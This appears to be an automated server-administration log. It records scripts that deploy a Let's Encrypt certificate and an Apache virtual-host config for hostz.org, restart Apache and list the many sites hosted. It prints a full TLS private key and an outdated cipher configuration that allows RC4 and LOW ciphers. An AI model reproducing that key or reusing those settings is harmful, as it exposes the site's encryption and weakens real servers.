1PgKLgx3JCHPDpn26Hja80Fbrj4AtVQKw2//kwgA44Z97pno4qvd8Nme+o3/zF6u
Hr22DVcxdVnfBJls0QVyqSQmE/NYfkVW56vJdB/IAQKBgQDWtki6AiGLfD9+w81z
31dG6uSANpQPgNRsUWHy8CwHwjbbrCfNPTBl2cSyHgxCjMDKRI6rLjVMIDaJ6yHb
kC25yk+nhVJE7dRRBSMnVLoe3wwhezg5xQ5gfPW0Mw0z8VM2Rbqevf2WMz/3co/g
XJt6q7m591c2iVkHBSBOS/alyQKBgQDSNyXdNHnmdi+P6sQllw5Iu0CHkMK6IMrU
pXy2LkIWZbVjIOkWHSg+w2ZWhRFT7NUt1ERFZFeGg3/5ip+b9IAmnwFK9g+AfyB+
edbHRZBnMVMMyzJ188gNVF//uTXUkB/41293FNkrCcOE85XCVvs38Tgxmttk+UUW
uwQ4I7yVLwKBgQCeh1ADJnemCULIUcFsAEbscZnsoF+JYtF0eFIdkP6xa9AdOWrZ
uof1a2gzKsRajpn5vcyozyFC57Xc9uK0vitEtf9B7MnlYsQUXfqqm4AgMwc94UCO
RtRqoVi4h8kDxPZvZ+R2OEj3kTd1d/yK51VUqV4j1F9sQNSevkYwCR4/IQKBgDWZ
Rhg+tw4h+EKTs2t6NnQo+m0WZfAbSFwrzb6N0N/xEuyxiXzP9mD6ZW+OAjsJ2dkT
lEy1JvPvN4Qi6ktTbhFq3WOFlbJHt7tHyZGJlSYal3hdnwIgJFPxvYBwct892EkU
dSFBuZWVqbqOeRLSJr++y3sqZuI6BHmlOZAu3HiVAoGBAIOOThLBg4yDBxrhj4O5
QtEiTlL4tcG57e2hmhnbJ1YlIdi8EN5BAM8G/CaatJ1PQNOQ6bcIwnTNHUOMYmcW
gfPtN/Pv4Zpz237E2FzjDRUgGgFqykTbtuAhBoTzzn1jpFpHVqX8JbmBUuOUZQ8/
fNdKMfGMI+qArwiaB3Mu2Lq8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-02 11:16:07: 

chmod 755 /tmp/pkp193325; /tmp/pkp193325; rm /tmp/pkp193325

2026-02-02 11:16:07: 


dir=/etc/ssl/certs


2026-02-02 11:16:07: 

PUT: /tmp/pkp431566

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-02 11:16:07: 

chmod 755 /tmp/pkp431566; /tmp/pkp431566; rm /tmp/pkp431566

2026-02-02 11:16:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-02 11:16:07: 

PUT: /tmp/pkp560780

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi


2026-02-02 11:16:07: 

chmod 755 /tmp/pkp560780; /tmp/pkp560780; rm /tmp/pkp560780

2026-02-02 11:16:07: 




2026-02-02 11:16:07: 

PUT: /tmp/pkp607401

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-02 11:16:07: 

chmod 755 /tmp/pkp607401; /tmp/pkp607401; rm /tmp/pkp607401

2026-02-02 11:16:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 11:16:07: Establishing a connection
2026-02-02 11:16:08: 

PUT: /tmp/pkp821217

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-02 11:16:08: 

chmod 755 /tmp/pkp821217; /tmp/pkp821217; rm /tmp/pkp821217

2026-02-02 11:16:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 11:16:08: 

PUT: /tmp/pkp911453

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 11:16:08: 

chmod 755 /tmp/pkp911453; /tmp/pkp911453; rm /tmp/pkp911453

2026-02-02 11:16:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf	1202

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-02 11:16:08: 

PUT: /tmp/pkp538270

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 11:16:08: 

chmod 755 /tmp/pkp538270; /tmp/pkp538270; rm /tmp/pkp538270

2026-02-02 11:16:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt	5364
07:a2:c7:1c:b0:02:a6:98:03:d5:63:5d:1d:9d:fe:8c

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpG9l/0alfNdbzYXnxgbCV7aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAyMTAxNzM0WhcNMjYwNTAzMTAxNzMzWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwT8iU
FZjovKGAojXuMJtpceWWO69s/94Tl8K3qjp5XR9Jxb3NPDCvZuzmG4LFEIcaIN9U
X/8EOxBrN2geNpzbgz9vVKTK8ePE0tl7DT775b6+lnCiPdtA2pxYmE07Y3CRkZAH
J5N8fI6fiDhfNUQdaRwWRb5WEPR9BJee0Y2l9+AYbdGFfH9GMWJv3q2VSfG/iXUN
ai7ARC07+LfIFmV6LNiCgydOwiuMfMKvcw9nXpkadQRLXxhyECtfUO8q3xWq2F8m
zdkqxOKTC4t+blyQIhB5FpNgqMgs3/xsjTdXX8T905mxlvveyAxm8R3ODLXLD1kt
0eMNhIv/alq7YmznAgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMgo1+ZItiVEmY9dd0u/JYhU4KAfMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvOTEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A
cX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGcHhEeuAAIAAAFAAhs
vJMEAwBHMEUCIQC1/3pUC/5D4ShEJJUCTeHG2GZjVSGwiDLOg0vYd0xh4wIgeB/I
CNM0/QAVBiteLgxdqhkqLcG1pyh6K90uSlMh89MAdgDRbqmlaAd+ZjWgPzel3bwD
pTxBEhTUiBj16TGzI8uVBAAAAZweESbMAAAEAwBHMEUCIBnLHVMAyZGNd85Ga+Ht
6xUtHBWxm1om/AP4WWYMeWd3AiEA1osaxhEEd6tbd15wPnqMDhSa0cVAtbV/gSbT
veMDA64wDQYJKoZIhvcNAQELBQADggEBAKINyGMZfI7dgAgeSIstQA//qohsVkx1
K3eQXAMH6WHnkjhFs4JUrg3CaC+wC9Sg5I+tRXSKe7HBZ4nBEt1oVR9cfUMZz2Z/
Y039chsCTiitYhhVHOigMQPXyyuCyBRmurlcoKty6c24nDuAqps+xPqzHcNWry6u
y2tm8mJNnkevqsBPV9oo5boE9KOT02BsJYmE/Wbg2QH+vnMREeeUBAOOQbzdtJr5
S3N2JvKIpaFH/EK+ZyFT/MR1T0DEBp7ZujEWqnLBikJjzSBF7Gua5m0Ayt4MBsOR
hbsIdikCU/wxxAOcJDg/gc2ZyTe0b8sDgZI2Q/+7gB8AWqQ/YgMe7nE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwT8iUFZjovKGA
ojXuMJtpceWWO69s/94Tl8K3qjp5XR9Jxb3NPDCvZuzmG4LFEIcaIN9UX/8EOxBr
N2geNpzbgz9vVKTK8ePE0tl7DT775b6+lnCiPdtA2pxYmE07Y3CRkZAHJ5N8fI6f
iDhfNUQdaRwWRb5WEPR9BJee0Y2l9+AYbdGFfH9GMWJv3q2VSfG/iXUNai7ARC07
+LfIFmV6LNiCgydOwiuMfMKvcw9nXpkadQRLXxhyECtfUO8q3xWq2F8mzdkqxOKT
C4t+blyQIhB5FpNgqMgs3/xsjTdXX8T905mxlvveyAxm8R3ODLXLD1kt0eMNhIv/
alq7YmznAgMBAAECggEAD6I2purc8Plii+vWQsimMmaaQdGiou4NQxXlFJdQZNj2
oHpoQH3JBpFmo2czfhKsTos1Ql+nI59MVWit7GZRtYug+r453pHHhvkrT6RdCvkH
cN7mHeMrDeHuLlNS7D3+o7aRW6qmthZVXAM4L59v6sVNnqv2593/aXzlKBZsxcqP
TPPuUUNwN+ODVob/KCR+jlty7qowAG4FuIFKMfQ5+F31QzsrZQDDQw7iigI9agt5
1PgKLgx3JCHPDpn26Hja80Fbrj4AtVQKw2//kwgA44Z97pno4qvd8Nme+o3/zF6u
Hr22DVcxdVnfBJls0QVyqSQmE/NYfkVW56vJdB/IAQKBgQDWtki6AiGLfD9+w81z
31dG6uSANpQPgNRsUWHy8CwHwjbbrCfNPTBl2cSyHgxCjMDKRI6rLjVMIDaJ6yHb
kC25yk+nhVJE7dRRBSMnVLoe3wwhezg5xQ5gfPW0Mw0z8VM2Rbqevf2WMz/3co/g
XJt6q7m591c2iVkHBSBOS/alyQKBgQDSNyXdNHnmdi+P6sQllw5Iu0CHkMK6IMrU
pXy2LkIWZbVjIOkWHSg+w2ZWhRFT7NUt1ERFZFeGg3/5ip+b9IAmnwFK9g+AfyB+
edbHRZBnMVMMyzJ188gNVF//uTXUkB/41293FNkrCcOE85XCVvs38Tgxmttk+UUW
uwQ4I7yVLwKBgQCeh1ADJnemCULIUcFsAEbscZnsoF+JYtF0eFIdkP6xa9AdOWrZ
uof1a2gzKsRajpn5vcyozyFC57Xc9uK0vitEtf9B7MnlYsQUXfqqm4AgMwc94UCO
RtRqoVi4h8kDxPZvZ+R2OEj3kTd1d/yK51VUqV4j1F9sQNSevkYwCR4/IQKBgDWZ
Rhg+tw4h+EKTs2t6NnQo+m0WZfAbSFwrzb6N0N/xEuyxiXzP9mD6ZW+OAjsJ2dkT
lEy1JvPvN4Qi6ktTbhFq3WOFlbJHt7tHyZGJlSYal3hdnwIgJFPxvYBwct892EkU
dSFBuZWVqbqOeRLSJr++y3sqZuI6BHmlOZAu3HiVAoGBAIOOThLBg4yDBxrhj4O5
QtEiTlL4tcG57e2hmhnbJ1YlIdi8EN5BAM8G/CaatJ1PQNOQ6bcIwnTNHUOMYmcW
gfPtN/Pv4Zpz237E2FzjDRUgGgFqykTbtuAhBoTzzn1jpFpHVqX8JbmBUuOUZQ8/
fNdKMfGMI+qArwiaB3Mu2Lq8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
